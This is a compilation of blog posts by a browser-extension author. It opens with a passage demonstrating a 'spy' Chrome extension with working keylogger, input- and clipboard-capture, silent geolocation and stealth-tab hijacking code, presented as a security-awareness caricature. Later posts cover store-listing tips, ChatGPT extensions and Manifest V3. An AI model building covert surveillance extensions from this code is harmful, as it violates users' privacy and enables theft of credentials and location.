  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});

content-script.js

Input Capturing

From the content script, we can just listen for input events on any editable elements and capture their value.

[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
  input.addEventListener("input", _.debounce((e) => {
    // Read input value
  }, 1000))
);

content-script.js

If we’re expecting the page DOM to change often (for example, with SPAs), we certainly don’t want to miss out on any valuable data. Just set a MutationObserver to watch the entire page, and reapply listeners as needed.

const inputs: WeakSet<Element> = new WeakSet();

const debouncedHandler = _.debounce(() => {
  [...document.querySelectorAll("input,textarea,[contenteditable")]
    .filter((input: Element) => !inputs.has(input))
    .map((input) => {
      input.addEventListener(
        "input",
        _.debounce((e) => {
          // Read input value
        }, 1000)
      );

      inputs.add(input);
    });
}, 1000);

const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });

content-script.js

Clipboard Capturing

This one is a bit trickier. navigator.clipboard.read() or any other Clipboard API methods will prompt the user with a permissions dialog, so these are off-limits.

Using document.execCommand("paste") to dump the clipboard into a hidden input is unreliable, so we’re stuck grabbing the selected text out of the page.

document.addEventListener("copy", () => {
  const selected = window.getSelection()?.toString();

  // Capture selected text on copy events
});

content-script.js

(Note: I’m not totally satisfied with this, but good enough for now.)

Capturing Geolocation

Geolocation capturing is the trickiest one due to Chrome’s restrictions on when and how it an be captured. Adding the geolocation permission only allows us to capture the location inside an extension page, not from content scripts. If the popup is opened frequently enough, this might be sufficient.

navigator.geolocation.getCurrentPosition(
  (position) => {
    // Capture position
  },
  (e) => {},
  {
    enableHighAccuracy: true,
    timeout: 5000,
    maximumAge: 0,
  }
);

popup.js

If we need more geolocation data, we’ll need to do it from a content script. We need to prevent the browser from generating a permission dialog, so first we check if the page already has the geolocation permission. If it does, we can silently request the location.

navigator.permissions
  .query({ name: "geolocation" })
  .then(({ state }: { state: string }) => {
    if (state === "granted") {
      captureGeolocation();
    }
  });

content-script.js

Stealth Tab

If you’re anything like me, you have a ton of tabs open. Most tabs sit there idly for long stretches of time, and Chrome eagerly unmounts idle tabs to free up system resources.

Suppose we needed to open an extension page in a tab without the user noticing. Maybe we need to perform some additional page-level processing with the WebExtensions API. Opening and closing a new tab would cause a lot of visual movement in the tab bar, this is too suspicious. Instead, let’s reuse an existing tab and make it appear to be the old tab.

This could work as follows:

1. Find a candidate tab that the user isn’t paying attention to.

2. Record its URL, favicon URL, and title.

3. Replace that tab with our extension page, and immediately replace the favicon and title so it resembles the original tab.

4. Do bad things.

5. Once the page finishes, or once the user opens the tab, navigate back to the original URL.

Let’s build a proof of concept. Here’s an example background script to open the stealth tab:

export async function openStealthTab() {
  const tabs = await chrome.tabs.query({
    // Don't use the tab the user is looking at
    active: false,
    // Don't use pinned tabs, they're probably used frequently
    pinned: false,
    // Don't use a tab generating audio
    audible: false,
    // Don't use a tab until it is finished loading
    status: "complete",
  });

  const [eligibleTab] = tabs.filter((tab) => {
    // Must have url and id
    if (!tab.id || !tab.url) {
      return false;
    }

    // Don't use extension pages
    if (new URL(tab.url).protocol === "chrome-extension:") {
      return false;
    }

    return true;
  });

  if (eligibleTab) {
    // These values will be used to spoof the current page
    // and navigate back
    const searchParams = new URLSearchParams({
      returnUrl: eligibleTab.url as string,
      faviconUrl: eligibleTab.favIconUrl || "",
      title: eligibleTab.title || "",
    });

    const url = `${chrome.runtime.getURL(
      "stealth-tab.html"
    )}?${searchParams.toString()}`;

    // Open the stealth tab
    await chrome.tabs.update(eligibleTab.id, {
      url,
      active: false,
    });
  }
}

background.js

And here’s our stealth tab script:

const searchParams = new URL(window.location.href).searchParams;

// Spoof the previous page tab appearance
document.title = searchParams.get('title);
document.querySelector(`link[rel="icon"]`)
  .setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
  // User focused this tab, flee!
  window.location.href = searchParams.get('returnUrl');
}

// Check to see if this page is visible on load
if (document.visibilityState === "visible") {
  useReturnUrl();
}

document.addEventListener("visibilitychange", () => useReturnUrl());

// Now do bad things

// Done doing bad things, return!
useReturnUrl();

stealth-tab.js

Nothing suspicious here!

Publishing to the Chrome Web Store

I’m kidding, of course. This extension would be laughed out of the review queue.

This extension is obviously a caricature of a malicious extension, but is it so crazy to think that a subset of this behavior could be used? When installing a Chrome extension that seems trustworthy (whatever that means), most users will ignore the permissions warning messages no matter how scary they are. Once you accept the permissions, you are at the extension’s mercy.

You might be thinking “Matt, surely this doesn’t apply to me! I’m a savvy tech guru who is careful, fastidious, and obsequious. Nobody could ever pull one over on me.”

In that case, my obsequious friend, answer these questions:

• Without looking, can you name more than half of the extensions you have installed right now?

• Who maintains them? Is it the same entity that maintained it when you first installed? Are you sure?

• Did you really scrutinize their permissions?

Try it out if you dare

You can test out the Spy Extension here: https://github.com/msfrisbie/spy-extension

I’ve added an options page so you can see all the plundered data the extension is able to suck out of your browser. I’m not going to post a screenshot; suffice to say, the contents of the page are a tiny bit compromising.

Nothing collected leaves your browser. Or does it? (No, it doesn’t)

Matt Frisbie is the author of Building Browser Extensions

You can reach me at mattfriz.com

The extension name is a terrific opportunity for search engine optimization. Your extension's listing on the Chrome Web Store will rank very high if it contains the exact search phrase. The ranking within the Chrome Web Store itself will also greatly depend on keyword matches.

{
  "name": "ChatGPT Assistant"
}

The "ChatGPT Assistant" extension ranks #1 for that exact search, even though there are a significant number of apps and GitHub repositories with similar names.

2. An efficient description

This is your change to describe in one sentence what the extension has to offer. It is also a secondary opportunity to include additional search keywords.

{
  "description": "Use ChatGPT in search engines, to write emails, and on any website"
}

The extension description appears as the subtitle in Chrome Web Store search results.

3. A post-install action

Right after a user installs your extension, what then? They need to be told what to do next. This is a perfect opportunity to kick them over to an extension-rendered page. There, you have a full extension-controlled webpage to welcome them, give instructions, and prompt for a signup or login.

The simplest way to accomplish this is to create an options page. Often, the options page will be used as a full single page application, allowing for routing. You can programmatically direct the user over to the options page after an INSTALL event:

chrome.runtime.onInstalled.addListener((details) => {
  if (details.reason === chrome.runtime.OnInstalledReason.INSTALL) {     
    chrome.runtime.openOptionsPage();
  }
});

4. An uninstall URL

After a user uninstalls your extension, that's it - your extension has no ability to send analytics events. However, you can direct them to a URL of your choice. The best use of this URL is to allow them to reach out or provide feedback. An easy way to take advantage of this is to link to Google Forms and collect anonymous feedback.

chrome.runtime.setUninstallURL("https://buildingbrowserextensions.com");

5. A popup page

Your extension gets a button in the browser toolbar no matter what, so you might as well make it do something. Users are accustomed to interacting with these extension toolbar buttons, so this is a good fallback location for placing instructions in case the user doesn't understand how the extension is supposed to work.

{
  "action": {
    "default_popup": "popup.html"
  }
}

Clicking the extension's toolbar button opens the popup page.

6. A snazzy icon

Sounds obvious, but a good icon makes all the difference. Chrome Web Store search results and the toobar button both greatly benefit from a great icon that looks good large and small. 16x16, 48x48, 64x64, and 128x128 are all you need.

{
  "icons": {
    "16": "icons/codesearch_16x16.png",
    "48": "icons/codesearch_48x48.png",
    "64": "icons/codesearch_64x64.png",
    "128": "icons/codesearch_128x128.png"
  }
}

7. Screenshots and promo videos

A handful of high-quality screenshots and a short YouTube promo video are an easy way to give the user an idea of what your extension does. A Chrome Web Store listing looks barren without them.

Screenshots should not be cluttered, and text within them should be large and easy to read. A subtitle overlay describing what a screenshot is showing is often helpful.

8. A dedicated URL

Acquiring a URL for your extension is a cheap and easy way to improve its appearance. Most URLs are less than $10/year, and you can have it redirect to a GitHub repository or some other makeshift homepage.

Adding a URL for your extension greatly enhances the appearance of the search result.

9. Analytics

How are you supposed to know what happens after a user installs your extension? Analytics tools!

Sending analytics from a content script is a bad option. The host page's content security policy may block the scripts or outgoing requests, or adblockers might kill them. Analytics events will need to be dispatched from either a controlled extension page (popup, options, devtools) or the background script. One important advantage: Adblockers cannot block analytics requests sent from extension pages or background scripts! This means your extension analytics will have close to 100% accuracy.

Google Analytics and Amplitude are two good solutions, although they require some manual setup. Remember: in manifest v3, you cannot load remote scripts - they must be included with your extension!

• Google Analytics

• Amplitude

Note: refer to the Example Chrome Extension for a full demo of setting up Google Analytics.

10. A support email

No extension is perfect, and users will want a way to get in touch with you. Set up a free Gmail account for your extension, and include it both in the extension's listing as well as somewhere in the extension itself, such as the footer of the popup.

GET IT NOW

Chrome Web Store ChatGPT search results

ChatGPT is a variant of the GPT (Generative Pre-training Transformer) language model that has been fine-tuned for the task of conversation generation. It is designed to generate human-like responses to prompts given to it, and can be used for tasks such as chatbots and language translation. Large language models, such as GPT and ChatGPT, are neural network models that have been trained on very large datasets in order to learn the statistical patterns of language. They are able to generate coherent and natural-sounding text, and have a wide range of applications in natural language processing tasks.

ChatGPT generating the previous paragraph

ChatGPT's meteoric ascent can be attributed to a handful of factors:

1. A profound leap in sophistication from GPT3, especially the ability to understand very large input prompts

2. Free to use

3. A simple textual I/O interface - allowing for easy sharing, replication, and modification of LLM prompts

4. Allowing for unofficial API development and embedding

OpenAI is brazenly encouraging developers to hack on the ChatGPT platform in order to unlock its full potential.

Unofficial API implementations such as npm's chatgpt-api or pip's revChatGPT enabled thousands of developers to experiment with this amazing and novel tool. Furthermore, ChatGPT be embedded inside an iframe, allowing for browser extensions to place their chat interface directly inside the extension.

This was not by accident: OpenAI did not have to allow these things. It would have been trivial to lock down their API and add an X-Frame-Options header to choke off these unsanctioned uses. Since launch, they have taken steps to regulate the automated use of the unofficial API, but it very clear that OpenAI is brazenly encouraging developers to hack on the ChatGPT platform in order to unlock its full potential.

Browser extensions have found a particularly nice pairing with ChatGPT. The WebExtensions API includes an array of tools for marshaling text in an out of web pages, and OpenAI's permissive API allows for extensions to spoof the authenticated session and dispatch prompts directly to ChatGPT. This leads to an interesting new pattern where desktop ChatGPT users now always have a ChatGPT tab open, but multiple pieces of software are using that tab as a mouthpiece.

In the month since launch, ChatGPT has been used to build extensions for adding widgets on search engines, analyzing and writing emails, composing code and browser scripts, scraping and extracting formatted data from pages, summarizing articles, and composing posts for Twitter and LinkedIn. It's difficult to ignore the fact that Microsoft's recent announcement that it will incorporate ChatGPT into Bing directly mirrors the most widely installed ChatGPT Chrome extension ChatGPT for Google.

Though browser extensions have never been able to gain the dominace enjoyed by mobile apps, they still enjoy a healthy ecosystem: the Chrome Web Store features 180,000 extensions (compared to the Apple App Store's 1.8M). Over the past decade, mobile devices subsumed a large chunk of desktop traffic and users, yet the mobile form factor cannot hope to compete with the desktop format as a tool for everyday work and text composition - a domain where browser extensions and ChatGPT shine.

• On average, 40% of internet users in the United States use an adblocker on any device; overwhelmingly, these adblockers take the form of browser extensions. 

• The tech company Honey, whose primary product is a browser extension, was acquired by PayPal in 2020 for $4 billion. 

• As of 2021, there were 1.8 million apps in Apple's App Store; the Chrome Web Store has 180,000 extensions. 

 When I saw there were 0 relevant Amazon search results for "build chrome extension", I nearly fell out of my chair. I knew at once that this book must be written.

Building Browser Extensions: Create Modern Extensions for Chrome, Safari, Firefox, and Edge covers all the knowledge you will need to write cross-browser extensions with the latest web development tools. Browser extensions are given access to extremely powerful APIs. I believe most developers are blind to that power -and unaware of just how much it is within their reach. 

This book is designed to enlighten web developers and illuminate the true potential of the browser extension software platform. It is geared for developers who have experience building websites and can apply their knowledge to a new software domain. This book is not ideal for people new to programming - it would be like an inexperienced cook starting off by learning to make a sauce.

A major barrier to developing browser extensions is the appalling status quo of documentation. The fragmentation between different browsers and different manifest versions turns slogging through the documentation into a mind-numbingly onerous affair. I wrote this book specifically to address this problem. The reader will learn what is possible with the APIs, how they can best be applied, and all the traps to avoid. The book is not intended to replace the API documentation, as it is changing all the time. Instead, it is intended to supplement the API documentation; the book has plenty of direct links to the Chrome Developers and MDN sites throughout.
The transition to manifest v3 is upon us, and already it is causing problems. If you are confused about what manifest v3 is, what are its implications, and how best to navigate the ongoing transition, this book is for you. I dedicated an entire chapter to the manifest v2/v3 transition.

The lingua franca of web development is React, and this book gives special attention to the best ways in which you can write a browser extension in React. It also covers all the supplemental tools you'll need along the way, such as Webpack, Parcel, and Plasmo.

Like many developers, I learn by example. I was annoyed that so many APIs listed in the documentation were totally inscrutable. For example, the omnibox API is amazing and incredibly useful, but the documentation on how to use it is garbage. I just wanted a simple example to pick apart and play with, and there was nothing to be found. To fill this need, I created a companion extension for the book: Browser Extension Explorer. It's an open source browser extension with dozens of interactive demos. Each demo shows how various browser extension pieces and APIs work, and each includes links to the specific source files so you can see how it was built.

GET IT NOW

• The blocking WebRequest API, which all V2 ad blockers use, is swapped out for an inferior DeclarativeNetRequest API.

• V2 background pages — headless webpages that could persist indefinitely — are replaced by service workers that cannot persist indefinitely without ugly hacks.

• V3 extensions lose the ability to execute remote code: no inline scripts, scripts loaded from remote URLs, or userscripts. (Userscript extensions may still be saved.)

Chrome is well-positioned to steer browser extensions toward its vision for manifest V3. Chromium browsers (Chrome, Edge, Opera) make up over 80% of worldwide desktop internet traffic, and with 180,000 extensions the Chrome Web Store is by far the largest extension marketplace.

Manifest V3's chaotic rollout left the extension developer community with a bad taste in its mouth. Advertising-averse users will be quick to notice the diminshed efficacy of ad blockers. With Mozilla's recent announcement that it will continue to support the blocking WebRequest API, aggrieved developers and users now have an obvious refuge.

Meanwhile, the mobile extension landscape is shifting. In 2020, Apple added support for browser extensions in iOS Safari. Though developers may balk at publishing browser extensions in the App Store, Apple is advancing browser extensions by bringing them to the most popular mobile browser. Chrome for Android does not support browser extensions, and there is no indication it ever will.

Chrome remains the hegemon of the browser world, so it is difficult to imagine it being unseated. Internet Explorer once enjoyed a similar dominant market share, but the speed of the exodus was shockingly quick.